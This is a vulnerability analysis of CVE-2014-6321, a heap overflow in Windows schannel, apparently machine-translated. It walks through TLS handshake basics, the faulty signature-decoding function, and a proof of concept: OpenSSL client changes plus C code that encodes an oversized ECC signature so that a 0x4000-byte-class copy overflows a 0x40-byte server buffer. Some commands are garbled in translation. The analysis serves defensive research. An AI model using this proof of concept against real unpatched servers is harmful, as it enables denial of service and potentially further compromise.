CVE-2014-6321 schannel Heap Overflow Vulnerability Analysis

CVE-2014-6321 schannel Heap Overflow Vulnerability Analysis
0x00 background

MS14-066 )? Is the TLS heap buffer overflow vulnerability in Microsoft's schannel. dll. And poc structure.

0x01 SSL/TLS principles

Https is an SSL/TLS-based Http. All http data is transmitted over the SSL/TLS protocol encapsulation. The principle of the Https protocol is actually the SSL/TLS protocol. SSL is a secure transmission protocol. TLS is an upgraded version of SSL v3.0. Currently, all Https versions on the market use TLS instead of SSL.

The TLS handshake occurs after the TCP three-way handshake. Handshaking is actually a process of negotiation. It negotiates some parameters necessary for the Protocol. The TLS handshake process is divided into four steps:

Client Hello

The client has different degrees of support for some encryption and decryption algorithms. Therefore, in the TLS handshake stage, the client must inform the server of the encryption algorithms it supports, therefore, the client needs to transmit the list of locally supported cipher suites to the server. In addition, the client generates a random number, which must be saved on the client and transmitted to the server, the Random Number of the client must be combined with the random number generated by the server to generate the Master Secret to be discussed later.

Server Hello

After the server receives the Client Hello from the Client, the server needs to send its certificate to the Client. This certificate is a type of authentication for the server. When the Server does not provide sufficient information in the certificate sent to the client, you can also send a Server Key Exchange to the client.

For important confidential data, the server also needs to verify the client to ensure that the data is transmitted to a secure and legal client. The server can send a Cerficate Request message to the client, requiring the client to send a certificate to verify the validity of the client.

Like the client, the server also needs to generate a random number and send it to the client. Both the client and the server need to use these two random numbers to generate the Master Secret.

Finally, the Server sends a Hello Done message to the client, indicating that the Hello message is over.

Client Key Exchange

If the Server needs to verify the client, after the client receives the Server Hello Message from the Server, it first needs to send the client certificate to the Server to verify the validity of the client. All the preceding TLS handshake information is transmitted in plaintext. After receiving the certificate and other information from the server, the client will use some encryption algorithms to generate a 48-byte Key, which is called the PreMaster Secret, and finally generate a session Key through the Master secret, used to encrypt and decrypt application data. PreMaster secret uses RSA asymmetric encryption and uses the Public Key passed by the server to encrypt the data and then transmits the data to the server.

Then, the client checks the server certificate to check the certificate integrity and whether the certificate matches the server domain name.

ChangeCipherSpec is an independent protocol used to inform the server that the client has switched to the status of the previously negotiated cipher suite and is ready to encrypt and transmit data using the previously negotiated cipher suite.

After ChangecipherSpec is transferred, the client uses the pre-negotiated cipher suite and session key to encrypt a piece of Finish data and send it to the server, this data is used to verify the encryption and decryption channel created in the handshake before the application data is formally transmitted.

Server Finish

After receiving the encrypted data from the PreMaster from the client, the server uses the private key to decrypt the encrypted data and verify the data, the session key will also be generated in the same way as the client. After everything is ready, a ChangeCipherSpec will be sent to the client, informing the client that it has switched to the negotiated cipher suite status, you are ready to use the cipher suite and session key to encrypt data. Then, the server uses the session key to encrypt the last part of the Finish message and send it to the client to verify whether the encryption and decryption channel established through the handshake is successful.

Based on the previous handshake information, if both the client and the server can properly encrypt and decrypt the Finish information and the message is correctly verified, the handshake channel has been established successfully. Next, both parties can use the session key generated above to encrypt data transmission.

CVE-2014-6321 vulnerability is serious, mainly in the server configuration does not need to Verify the client, can be sent by the client Certificate Verify, eventually lead to the server to check the legitimacy of the client Certificate, trigger the vulnerability

0x02 Principle Analysis

According to the previous analysis report of Mike Czumak, the vulnerability exists in the unsigned int _ stdcall DecodeSigAndReverse (const BYTE * pbEncoded, DWORD cbEncoded, void * Dst, int a4, and LPCSTR lpszStructType) Function.

When lpszStructType is 0x2F (X509_ECC_SIGNATURE), pbEncoded is the pointer to CERT_ECC_SIGNATURE. The structure of pbEncoded is as follows, where cbData is the length of pbData pointing to Data.

typedef struct _CERT_ECC_SIGNATURE {    CRYPT_UINT_BLOB     r;    CRYPT_UINT_BLOB     s;} CERT_ECC_SIGNATURE, *PCERT_ECC_SIGNATURE; typedef struct _CRYPTOAPI_BLOB {                            DWORD   cbData;    __field_bcount(cbData)  BYTE    *pbData;} CRYPT_UINT_BLOB, *PCRYPT_UINT_BLOB;

Call CryptDecodeObject for the first time to obtain the buffer length required for successful decoding, and complete decoding for the second time. If you can control the size of the cbData In the decoded r or s, so that it exceeds the Dst buffer size, it will eventually overflow.

First, check the Dst buffer size. The call point of DecodeSigAndReverse is in CheckClientVerifyMessage, and Dst is v12. v12 is allocated by SPExternalAlloc according to the value of v11, v11 is the value of the KeyLength attribute of the CNG object obtained by BCryptGetProperty. The MSDN query knows the number of BITs that represent the Key. Therefore, the corresponding number of bytes is obtained by moving three bits to the right. When the 256-bit elliptic curve digital signature algorithm is used, the value of v12 is 0x40.

For data buffer pointer pbSignature and buffer size cbEncoded to be decoded from NTSTATUS _ stdcall CheckClientVerifyMessage (int a1, const wchar_t * pszBlobType, int a3, int a4, UCHAR * a5, DWORD cbEncoded) parameters a5 and cbEncoded. Through debugging analysis, we can see that a5 points to the signature data sent by the client. cbEncoded is the length of the signature data, which can be clearly controlled. If we enable CryptDecodeObject to decode malicious data as needed, the vulnerability will be triggered.

0x03 environment construction and POC Construction Server Environment Construction

Use IIS manager to build server certificates, use self-signed certificates, add websites to bind https, and set ssl to ignore client certificates.

Use https to access a website.

Build the client environment

Compile and run on kali with openssl-1.0.1j to generate EC cert and key, the command is as follows:

Openssl ecparam-out ec_key.pem-name prime256v1-genkey openssl req-new-key ec_key.pem-x509-nodes-days 365-out cert. pem

To enable the server to perform client certificate authentication, modify the openssl-1.0.1j/ssl/s3_clnt.c file and send the certificate each time for authentication. Modify the int ssl3_connect (SSL * s) function. After Server Hello Done is processed, set s-> s3-> tmp. cert_req to 1.

Compile the modified Code, switch the current directory to openssl-1.0.1j/apps/, through the command. /openssl s_client-connect xxx. xxx. xxx. xxx: 443-cert. the NTSTATUS _ thiscall CSsl3TlsServerContext: DigestCertVerify (int this, unsigned _ int8 * a2, unsigned int a3) function of the pem-key ec_key.pem-verify Worker Process sets breakpoints, the breakpoint is triggered.

POC Construction

The following code constructs the signature part, that is, the data decoded by CryptDecodeObject. To obtain the controllable decoded data, call CryptEncodeObject to encode the desired data, cryptDecodeObject can always be decoded successfully.

BYTE* GetDecodeObject(){CERT_ECC_SIGNATURE sig;    char pData[0x1000];    memset( pData , 0xcc , 0x1000 );    sig.r.pbData = (BYTE*)pData;    sig.r.cbData = 0x20;    sig.s.cbData = 0x1000;    sig.s.pbData = (BYTE*)pData;    DWORD cbEncoded = 0;    if ( CryptEncodeObject( X509_ASN_ENCODING , X509_ECC_SIGNATURE , &sig , NULL , &cbEncoded ) )    {        unsigned char *pEnc = new unsigned char[cbEncoded];        CryptEncodeObject( X509_ASN_ENCODING , X509_ECC_SIGNATURE , &sig , (BYTE*)pEnc , &cbEncoded );        return pEnc;    }    return NULL;}

Finally, the data with the size of 0x200e is obtained, data is 0x30, 0x82, 0x20, 0x0a, 0x02, 0x82, 0x10, 0x01, 0x00, 0xcc (consecutive 0x1000), 0x82, 0x10, 0x01, 0x00, 0xcc (0 x consecutive) modify the int ssl3_send_client_verify (SSL * s) function in s3_clnt.c to send data.

Compile and run the modified code. We can see that the a5 of the CheckClientVerifyMessage function points to the data we constructed. The value of cbEncoded is 0x0000200e.

Run the DecodeSigAndReverse function. The pbEncoded parameter points to the data we constructed. The value of cbEncoded is 0x0000200e.

After CryptDecodeObject decoding, The cbData in the r and s of CERT_ECC_SIGNATURE are both 0x1000, and the subsequent memcpy copies data in the 0 x buffer to the 0x40 buffer, resulting in overflow, finally, an exception is triggered.